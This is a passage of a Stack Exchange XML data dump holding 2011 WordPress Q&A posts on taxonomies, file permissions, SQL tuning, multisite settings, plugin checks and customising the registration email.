  <row Id="15289" PostTypeId="2" ParentId="15286" CreationDate="2011-04-21T02:13:41.413" Score="1" ViewCount="" Body="&lt;p&gt;Here is a function I use to list subterms:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Lists all subentries of a taxonomy.&#xA; *&#xA; * @return void&#xA; */&#xA;function ttt_get_subterms( $args = array () )&#xA;{&#xA;    if ( ! isset ( get_queried_object()-&amp;gt;taxonomy ) )&#xA;    {&#xA;        return;&#xA;    }&#xA;&#xA;    $options = array (&#xA;        'child_of'           =&amp;gt; get_queried_object_id()&#xA;    ,   'echo'               =&amp;gt; 0&#xA;    ,   'taxonomy'           =&amp;gt; get_queried_object()-&amp;gt;taxonomy&#xA;    ,   'title_li'           =&amp;gt; FALSE&#xA;    ,   'use_desc_for_title' =&amp;gt; FALSE&#xA;    );&#xA;&#xA;    $settings = array_merge( $options, $args );&#xA;&#xA;    $subtermlist = wp_list_categories( $settings );&#xA;&#xA;    // Without results WP creates a dummy item. It doesn't contain links.&#xA;    ! empty ( $subtermlist ) and FALSE !== strpos( $subtermlist, '&amp;lt;a ' )&#xA;        and print &quot;&amp;lt;ul class=subterms&amp;gt;$subtermlist&amp;lt;/ul&amp;gt;&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Use it like &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/wp_list_categories&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_list_categories()&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Avoid &lt;code&gt;get_term_by()&lt;/code&gt;. It is very expensive and not necessary.&lt;/p&gt;&#xA;" OwnerUserId="73" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-04-21T02:36:38.320" LastActivityDate="2011-04-21T02:36:38.320" CommentCount="2" />
  <row Id="15290" PostTypeId="2" ParentId="15047" CreationDate="2011-04-21T03:39:01.557" Score="4" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;Ricochet&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After all, this custom post type is kind of rebounding off one network site to another. Plus it's a bit of a play on words based on your plugin's name.&lt;/p&gt;&#xA;" OwnerUserId="199" LastActivityDate="2011-04-21T03:39:01.557" CommentCount="1" />
  <row Id="15291" PostTypeId="2" ParentId="15047" CreationDate="2011-04-21T03:39:59.013" Score="6" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;Crossposts&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simple, easy, accurate. They are posts from another site, crossposted to this site. Also fits with the name of your plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally speaking, it's best to use descriptive names from other contexts. A lot of people understand the idea of &quot;crossposting&quot;, which is obviously why you picked the plugin name. For a post_type, &quot;crossposts&quot; makes sense here, and people will recognize it from other contexts they've used it in.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-04-21T03:39:59.013" CommentCount="1" />
  <row Id="15292" PostTypeId="2" ParentId="9195" CreationDate="2011-04-21T03:41:18.357" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/ftp-upgrade-fix/installation/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/ftp-upgrade-fix/installation/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4811" LastActivityDate="2011-04-21T03:41:18.357" CommentCount="1" />
  <row Id="15293" PostTypeId="2" ParentId="9195" CreationDate="2011-04-21T03:48:53.510" Score="5" ViewCount="" Body="&lt;p&gt;&lt;em&gt;headdesk&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Permissions on all WordPress files should be 644. Permissions on all WordPress directories should be 755. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Exceptions: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The uploads directory may need to be 775 or 777, depending on your server configuration.&lt;/li&gt;&#xA;&lt;li&gt;wp-config.php should be 600, 640, or 644, whatever is the lowest number that works.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Never, ever, give higher permissions than those. That way lies dragons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're having trouble writing files, then the first thing to do is to install the Core Control plugin and try to figure out what is failing. Specifically, the &quot;Filesystem&quot; module lets you diagnose which mechanism WP_Filesystem is attempting to use. That way, you don't waste time screwing around with the wrong thing: &lt;a href=&quot;http://wordpress.org/extend/plugins/core-control/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/core-control/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you know the mechanism (probably the FTP method or a direct method) then you'll better know how to approach the issue. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If it's direct, then you either have a file ownership issue or a permissions issue.&lt;/li&gt;&#xA;&lt;li&gt;If it's FTP, then you may have a loopback connectivity issue, or a file ownership issue.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-04-21T03:48:53.510" CommentCount="1" />
  <row Id="15294" PostTypeId="2" ParentId="15234" CreationDate="2011-04-21T04:11:12.250" Score="1" ViewCount="" Body="&lt;p&gt;Your SQL isn't limiting the term matching to categories only. You're also getting back tags and any other taxonomy. So the data coming back may be more than expected. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Taxonomy is a key in the term_taxonomy table, so it should be fast to eliminate the ones you don't need. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT DISTINCT(terms.term_id) as ID, terms.name&#xA;FROM $wpdb-&amp;gt;posts as posts&#xA;LEFT JOIN $wpdb-&amp;gt;term_relationships as relationships ON posts.ID = relationships.object_ID&#xA;LEFT JOIN $wpdb-&amp;gt;term_taxonomy as tax ON (relationships.term_taxonomy_id = tax.term_taxonomy_id AND tax.taxonomy = &quot;category&quot;)&#xA;LEFT JOIN $wpdb-&amp;gt;terms as terms ON tax.term_id = terms.term_id&#xA;WHERE posts.post_author = {$post-&amp;gt;post_author}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Might help. Your DISTINCT also probably causes usage of a temp table for sorting and such. You might try using a GROUP BY instead, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT terms.term_id AS ID, terms.name&#xA;FROM $wpdb-&amp;gt;posts AS posts&#xA;LEFT JOIN $wpdb-&amp;gt;term_relationships AS relationships ON posts.ID = relationships.object_ID&#xA;LEFT JOIN $wpdb-&amp;gt;term_taxonomy AS tax ON ( relationships.term_taxonomy_id = tax.term_taxonomy_id&#xA;AND tax.taxonomy =  &quot;category&quot; ) &#xA;LEFT JOIN $wpdb-&amp;gt;terms AS terms ON tax.term_id = terms.term_id&#xA;WHERE posts.post_author = {$post-&amp;gt;post_author}&#xA;AND terms.term_id IS NOT NULL &#xA;GROUP BY terms.term_id&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Might give better results. Set 'em both up, run 'em through phpMyAdmin and have it do an EXPLAIN on them, see which is giving better results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, post_author is an int. You don't need quotes around it.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-04-21T04:11:12.250" />
  <row Id="15295" PostTypeId="1" CreationDate="2011-04-21T05:10:10.993" Score="0" ViewCount="85" Body="&lt;p&gt;I have some 100 unpublished posts. I want to publish 1 random post every time a cron is run.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way or plugin to achieve this...&lt;/p&gt;&#xA;" OwnerUserId="4812" LastActivityDate="2011-05-14T14:47:59.960" Title="Auto Publish On Cron" Tags="&lt;cron&gt;&lt;publish&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="15296" PostTypeId="2" ParentId="15237" CreationDate="2011-04-21T05:51:25.997" Score="2" ViewCount="" Body="&lt;p&gt;Completely skipping &lt;code&gt;wp_head&lt;/code&gt; and &lt;code&gt;wp_footer&lt;/code&gt; doesn't seem like a good idea, many core components and plugins depend on these hooks. Instead, you could create a &lt;em&gt;light&lt;/em&gt; header and footer, and load them via an extra argument to &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_header&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_header()&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_footer&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_footer()&lt;/code&gt;&lt;/a&gt;. &lt;code&gt;get_header( 'light' )&lt;/code&gt; will load &lt;code&gt;header-light.php&lt;/code&gt; instead of the regular header file. Create one without the visual header of the other pages, but leave the &lt;code&gt;wp_head&lt;/code&gt; action intact.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-04-21T05:51:25.997" CommentCount="1" />
  <row Id="15297" PostTypeId="1" AcceptedAnswerId="15299" CreationDate="2011-04-21T06:11:14.503" Score="0" ViewCount="44" Body="&lt;p&gt;How do I do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any custom post type I register shows up as a meta box on the menu page...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/HHvrw.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-04-21T06:38:49.423" Title="Prevent custom post type from showing up in custom menus" Tags="&lt;custom-post-types&gt;&lt;custom-menus&gt;&lt;metabox&gt;" AnswerCount="1" />
  <row Id="15298" PostTypeId="1" CreationDate="2011-04-21T06:28:05.373" Score="1" ViewCount="115" Body="&lt;p&gt;Most of the commenters at my WordPress blog do not have a Gravatar account. Hence the comment section is almost always filled with the same old mystery man avatars.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking for custom gravatar generators for commenters without their own avatar. So far I have only found Identicons, MonsterID’s, and Wavatars.  I find some of the avatars generated by these engines to be these ugly, scary and OTT. Also these do not blend with the blog theme and stick out like a sore thumb.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can some one point me to a avatar generator that can generate nice looking avatars?&lt;/p&gt;&#xA;" OwnerUserId="2587" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-04-26T14:49:29.187" LastActivityDate="2011-04-26T14:49:29.187" Title="Alternative default avatar generator?" Tags="&lt;plugins&gt;&lt;design&gt;&lt;avatar&gt;&lt;gravatar&gt;" AnswerCount="2" />
  <row Id="15299" PostTypeId="2" ParentId="15297" CreationDate="2011-04-21T06:38:49.423" Score="2" ViewCount="" Body="&lt;p&gt;It's really simple, when registering the Custom Post Type use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_post_type( 'post_type_name', array (&#xA;...&#xA;'show_in_nav_menus' =&amp;gt; FALSE&#xA;...&#xA;) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2264" LastActivityDate="2011-04-21T06:38:49.423" CommentCount="2" />
  <row Id="15301" PostTypeId="1" CreationDate="2011-04-21T08:26:55.847" Score="0" ViewCount="84" Body="&lt;p&gt;I need to do some custom filtering of data like if a field is empty, I dont include it in the mail? I think I shld hook into CF7's hooks, if available, but where can I find these hooks and the docs&lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2011-04-21T08:26:55.847" Title="Contact Form 7: Adding Filtering Logic with Hooks Possible?" Tags="&lt;hooks&gt;&lt;contact-form-7&gt;" />
  <row Id="15302" PostTypeId="1" AcceptedAnswerId="15330" CreationDate="2011-04-21T09:27:06.680" Score="0" ViewCount="58" Body="&lt;p&gt;Im working on a little plugin that when activated creates a theme page and then a function sets this page to published this is the code i have for published:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// function that creates the new ads page on plugin install // &#xA;function mjj_create_page ()&#xA;{&#xA;// Create new page object&#xA;$ads_page = get_option('mjj_smart_ads_page');&#xA;&#xA;$ads_new_page = array(&#xA;    'post_title' =&amp;gt; 'Smart Ads',&#xA;    'post_content' =&amp;gt; '',&#xA;    'post_status' =&amp;gt; 'publish',&#xA;    'post_type' =&amp;gt; 'page'  &#xA; );   &#xA;// Insert the page into the database&#xA;$ads_page = wp_insert_post( $ads_new_page );&#xA;update_option('mjj_smart_ads_page', $ads_page);&#xA;&#xA;// now lets give this new page a groovy template&#xA;$ads_page_data = get_page_by_title('Smart Ads');&#xA;$ads_page_id = $ads_page_data-&amp;gt;ID;&#xA;update_post_meta($ads_page_id, '_wp_page_template','tpl-smart-ads.php');&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;dont know if its semanticaly wp perfect but it seems to work ok and does what i need, however now im trying to set a function that will on plugin deactivate set this created page to draft status so it doesnt show in the menu, but it just doesbt seem to want to play, heres what im working with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// function that drafts smart ads page on plugin deactivate // &#xA;function mjj_unpublish_page ()&#xA;{&#xA;$old_ads_page = get_option('mjj_old_smart_ads_page'); &#xA;&#xA;$ads_old_page = array(&#xA;    'post_title' =&amp;gt; 'Smart Ads',&#xA;    'post_content' =&amp;gt; '',&#xA;    'post_status' =&amp;gt; 'draft',&#xA;    'post_type' =&amp;gt; 'page'  &#xA;  );&#xA;     // Insert the page into the database&#xA;$old_ads_page = wp_update_post( $ads_old_page );&#xA;update_option('mjj_old_smart_ads_page', $old_ads_page); &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and below are my hooks&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    // create the page to get the info for selling ads and posting ads&#xA;    register_activation_hook($file, array(&amp;amp;$this, 'mjj_create_page'));&#xA;    //while in this block i will also add the deactivate function to unpublish the created page&#xA;register_deactivation_hook($file, array(&amp;amp;$this, 'mjj_unpublish_page'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;as you can see im thinking that setting to draft will include the use of wp_update_post, but it dont seem to be working right when deactivating, im ending up with one Smart Ads page published and one in draft&lt;/p&gt;&#xA;" OwnerUserId="3710" LastActivityDate="2011-04-21T15:19:10.277" Title="Set page to draft on plugin deactivation" Tags="&lt;plugin-development&gt;&lt;page&gt;&lt;publish&gt;&lt;draft&gt;" AnswerCount="1" CommentCount="5" />
  <row Id="15303" PostTypeId="1" AcceptedAnswerId="16154" CreationDate="2011-04-21T09:34:22.510" Score="0" ViewCount="148" Body="&lt;p&gt;I've just set up a new multisite installation. Everything works as I'd except that images don't show up on any of the sub-sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Any idea why the images don't show up?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running Wordpress 3.1.1 on IIS6 in a shared Windows server (hosted by Arvixe.com). The secondary sites are in sub-directories rather than sub-domains. The images for the main site work, as does the header image, but the images in sub-sites don't appear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that the images are uploading properly as they appear in the blogs.dir folder on the server. They also show up if I navigate them like this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://www.example.com/test/wp-content/blogs.dir/5/files/2011/04/LazyDog.jpg&quot; rel=&quot;nofollow&quot;&gt;http://www.example.com/test/wp-content/blogs.dir/5/files/2011/04/LazyDog.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;However, they don't work when I navigate to them like this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://www.kramii.com/test/files/2011/04/LazyDog.jpg&quot; rel=&quot;nofollow&quot;&gt;http://www.kramii.com/test/files/2011/04/LazyDog.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;When I try this second version in IE I get the broken image icon, whereas in Firefox I get just the filename at the top of the screen.  Interestingly, when I show the page info in Firefox it shows type as &quot;image/jpeg&quot;, which suggests to me (and I might be wrong) that the server has found the image and is attempting to send it to the browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My web.config looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt; &#xA;    &#xA;      &#xA;        &#xA;             &#xA;                &#xA;                    &#xA;                        &#xA;                        &#xA;                    &#xA;                    &#xA;                        &#xA;                        &#xA;                    &#xA;                    &#xA;                        &#xA;                        &#xA;                    &#xA;                    &#xA;                        &#xA;                        &#xA;                            &#xA;                            &#xA;                        &#xA;                        &#xA;                    &#xA;                    &#xA;                        &#xA;                        &#xA;                    &#xA;                    &#xA;                        &#xA;                        &#xA;                    &#xA;                    &#xA;                        &#xA;                        &#xA;                    &#xA;                &#xA;            &#xA;            &#xA;                &#xA;                    &#xA;                    &#xA;                    &#xA;                    &#xA;                    &#xA;                    &#xA;                    &#xA;                    &#xA;                &#xA;            &#xA;      &#xA;    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my settings for the site I've got:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Site url = &lt;a href=&quot;http://kramii.com/test/&quot; rel=&quot;nofollow&quot;&gt;http://kramii.com/test/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Home = &lt;a href=&quot;http://kramii.com/test/&quot; rel=&quot;nofollow&quot;&gt;http://kramii.com/test/&lt;/a&gt; Upload&lt;/li&gt;&#xA;&lt;li&gt;path = &lt;a href=&quot;http://kramii.com/wp-content/blogs.dir/5/files&quot; rel=&quot;nofollow&quot;&gt;http://kramii.com/wp-content/blogs.dir/5/files&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Upload URL path = &lt;a href=&quot;http://kramii.com/wp-content/blogs.dir/5/files&quot; rel=&quot;nofollow&quot;&gt;http://kramii.com/wp-content/blogs.dir/5/files&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Fileupload URL = &lt;a href=&quot;http://kramii.com/wp-content/blogs.dir/5/files&quot; rel=&quot;nofollow&quot;&gt;http://kramii.com/wp-content/blogs.dir/5/files&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I've disabled all plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One final note: someone on &lt;a href=&quot;http://wordpress.org/support/topic/how-to-create-a-wordpress-30-multisite-network-on-a-windows-server-using-sub-di&quot; rel=&quot;nofollow&quot;&gt;another site&lt;/a&gt; had a similar problem and someone else replied &quot;Is your webhost using a caching mechanism or proxying your webtraffic?&quot;. Quite honestly I don't really understand what this means. How would I know? What can I do if they are?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="4616" LastActivityDate="2011-05-02T07:11:09.917" Title="Images don't show up" Tags="&lt;multisite&gt;&lt;images&gt;" AnswerCount="1" />
  <row Id="15304" PostTypeId="1" AcceptedAnswerId="15316" CreationDate="2011-04-21T10:24:09.863" Score="2" ViewCount="472" Body="&lt;p&gt;After a new user registration, WP sends out an email with the login / password, and a link to the login page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to change this defaut email template? I'd also like to change the subject and sender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit : For anyone interested, &lt;a href=&quot;http://wordpress.org/extend/plugins/welcome-email-editor/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; is a plugin solution.&lt;/p&gt;&#xA;" OwnerUserId="1381" LastEditorUserId="1381" LastEditorDisplayName="" LastEditDate="2011-04-26T07:03:56.077" LastActivityDate="2011-04-26T07:03:56.077" Title="How to change the default registration email ? (plugin and/or non-plugin)" Tags="&lt;template&gt;&lt;users&gt;&lt;email&gt;&lt;registration&gt;&lt;default&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="3" />
  <row Id="15307" PostTypeId="1" AcceptedAnswerId="15331" CreationDate="2011-04-21T10:43:28.067" Score="0" ViewCount="161" Body="&lt;p&gt;Does Wordpress MU not allow domain mapping to subdirectories, such as example.com/blog?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wordpress.com &lt;a href=&quot;http://en.support.wordpress.com/domain-mapping/map-subdomain/&quot; rel=&quot;nofollow&quot;&gt;doesn't allow&lt;/a&gt; this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I couldn't find an option to do this in WordPress MU Domain Mapping plugin.&lt;/p&gt;&#xA;" OwnerUserId="2261" LastActivityDate="2011-04-21T15:35:30.957" Title="How to do Domain Mapping to Subdirectories?" Tags="&lt;multisite&gt;&lt;domain-mapping&gt;&lt;subdirectories&gt;" AnswerCount="1" />
  <row Id="15308" PostTypeId="2" ParentId="2802" CreationDate="2011-04-21T11:41:12.083" Score="0" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;  I made this into a plugin. &lt;a href=&quot;http://wordpress.org/extend/plugins/submenu-filter/&quot; rel=&quot;nofollow&quot;&gt;Download here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I needed to solve this myself and eventually wound up writing a filter on the results of the menu lookup. It lets you use &lt;code&gt;wp_nav_menu&lt;/code&gt; as normal, but choose a sub-section of the menu based on the title of the parent element. Add a &lt;code&gt;submenu&lt;/code&gt; parameter to the menu like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_nav_menu(array(&#xA;  'menu' =&amp;gt; 'header',&#xA;  'submenu' =&amp;gt; 'About Us',&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can even go several levels deep by putting slashes in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_nav_menu(array(&#xA;  'menu' =&amp;gt; 'header',&#xA;  'submenu' =&amp;gt; 'About Us/Board of Directors'&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or if you prefer with an array:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_nav_menu(array(&#xA;  'menu' =&amp;gt; 'header',&#xA;  'submenu' =&amp;gt; array('About Us', 'Board of Directors')&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It uses a slug version of the title, which should make it forgiving of things like capitals and punctuation.&lt;/p&gt;&#xA;" OwnerUserId="3828" LastEditorUserId="3828" LastEditorDisplayName="" LastEditDate="2011-05-09T13:42:18.440" LastActivityDate="2011-05-09T13:42:18.440" CommentCount="0" />
  <row Id="15309" PostTypeId="1" AcceptedAnswerId="15323" CreationDate="2011-04-21T11:48:37.950" Score="2" ViewCount="174" Body="&lt;p&gt;I have a wordpress multisite installtion with 5 sites within, the multisite is called &lt;strong&gt;Lifestyle&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Homes&lt;/li&gt;&#xA;&lt;li&gt;Cars&lt;/li&gt;&#xA;&lt;li&gt;Architecture&lt;/li&gt;&#xA;&lt;li&gt;Holidays&lt;/li&gt;&#xA;&lt;li&gt;Communities&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I am trying to get the &lt;strong&gt;blog&lt;/strong&gt; name, for each blog when viewing in my theme, every function I use returns 'Lifestyle'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_bloginfo('name');&#xA;&#xA;get_bloginfo();&#xA;&#xA;global $current_site; var_dump(get_current_site_name($current_site));&#xA;&#xA;get_current_blog();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;none of the strings or objects returned contain the blog name, they all contain the site name &quot;Lifestyle&quot; can anyone offer any advice...&lt;/p&gt;&#xA;" OwnerUserId="4816" LastActivityDate="2011-04-21T14:30:49.863" Title="How to get blog name, when using Wordpress Multisite" Tags="&lt;multisite&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="15310" PostTypeId="1" AcceptedAnswerId="15314" CreationDate="2011-04-21T12:35:18.293" Score="0" ViewCount="84" Body="&lt;p&gt;I'm using the mingle plugin and the mingle-forum plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to show a certain part on my site only if those two plugins are active. How can I solve this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( is_plugin_active('mingle-forum') ) { ?&amp;gt;&#xA;                    &amp;lt;div id=&quot;login&quot;&amp;gt;&amp;lt;?php include (TEMPLATEPATH . '/inc/userlogin.php' ); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;                &amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This throws a php error. Call to undefined function is_plugin_active&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea what I'm doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;update: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( plugin_active('plugin-directory/mingle-forum/wpf-main.php') ) { ?&amp;gt;&#xA;                    &amp;lt;div id=&quot;login&quot;&amp;gt;&amp;lt;?php include (TEMPLATEPATH . '/inc/userlogin.php' ); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;                &amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3529" LastEditorUserId="3529" LastEditorDisplayName="" LastEditDate="2011-04-22T07:37:41.193" LastActivityDate="2011-04-22T07:37:41.193" Title="if plugin is active? check wheter plugin is enabled or not?" Tags="&lt;plugins&gt;&lt;php&gt;&lt;functions&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="15311" PostTypeId="2" ParentId="15295" CreationDate="2011-04-21T12:47:06.890" Score="0" ViewCount="" Body="&lt;p&gt;Check this out &lt;a href=&quot;http://www.dagondesign.com/articles/scheduled-draft-publish-plugin-for-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://www.dagondesign.com/articles/scheduled-draft-publish-plugin-for-wordpress/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2515" LastActivityDate="2011-04-21T12:47:06.890" />
  <row Id="15313" PostTypeId="2" ParentId="14901" CreationDate="2011-04-21T12:58:01.903" Score="0" ViewCount="" Body="&lt;p&gt;Another nice example for distributing a plugin with sub-plugins &lt;a href=&quot;http://wordpress.org/extend/plugins/simple-facebook-connect/&quot; rel=&quot;nofollow&quot;&gt;is this one&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-04-21T12:58:01.903" />
  <row Id="15314" PostTypeId="2" ParentId="15310" CreationDate="2011-04-21T13:02:35.920" Score="1" ViewCount="" Body="&lt;p&gt;This function exists in wp-admin/includes/plugin.php so I'm assuming it doesn't get included by the theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can either &lt;code&gt;require&lt;/code&gt; it, or just create your own version of it - see here: &lt;a href=&quot;http://wordpress.org/support/topic/is_plugin_active&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/is_plugin_active&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-04-21T13:02:35.920" CommentCount="2" />
  <row Id="15316" PostTypeId="2" ParentId="15304" CreationDate="2011-04-21T13:15:39.650" Score="7" ViewCount="" Body="&lt;p&gt;the new user email is sent using &lt;code&gt;wp_new_user_notification()&lt;/code&gt; function which is pluggable meaning that you can overwrite it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Redefine user notification function&#xA;if ( !function_exists('wp_new_user_notification') ) {&#xA;    function wp_new_user_notification( $user_id, $plaintext_pass = '' ) {&#xA;        $user = new WP_User($user_id);&#xA;&#xA;        $user_login = stripslashes($user-&amp;gt;user_login);&#xA;        $user_email = stripslashes($user-&amp;gt;user_email);&#xA;&#xA;        $message  = sprintf(__('New user registration on your blog %s:'), get_option('blogname')) . &quot;\r\n\r\n&quot;;&#xA;        $message .= sprintf(__('Username: %s'), $user_login) . &quot;\r\n\r\n&quot;;&#xA;        $message .= sprintf(__('E-mail: %s'), $user_email) . &quot;\r\n&quot;;&#xA;&#xA;        @wp_mail(get_option('admin_email'), sprintf(__('[%s] New User Registration'), get_option('blogname')), $message);&#xA;&#xA;        if ( empty($plaintext_pass) )&#xA;            return;&#xA;&#xA;        $message  = __('Hi there,') . &quot;\r\n\r\n&quot;;&#xA;        $message .= sprintf(__(&quot;Welcome to %s! Here's how to log in:&quot;), get_option('blogname')) . &quot;\r\n\r\n&quot;;&#xA;        $message .= wp_login_url() . &quot;\r\n&quot;;&#xA;        $message .= sprintf(__('Username: %s'), $user_login) . &quot;\r\n&quot;;&#xA;        $message .= sprintf(__('Password: %s'), $plaintext_pass) . &quot;\r\n\r\n&quot;;&#xA;        $message .= sprintf(__('If you have any problems, please contact me at %s.'), get_option('admin_email')) . &quot;\r\n\r\n&quot;;&#xA;        $message .= __('Adios!');&#xA;&#xA;        wp_mail($user_email, sprintf(__('[%s] Your username and password'), get_option('blogname')), $message);&#xA;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" 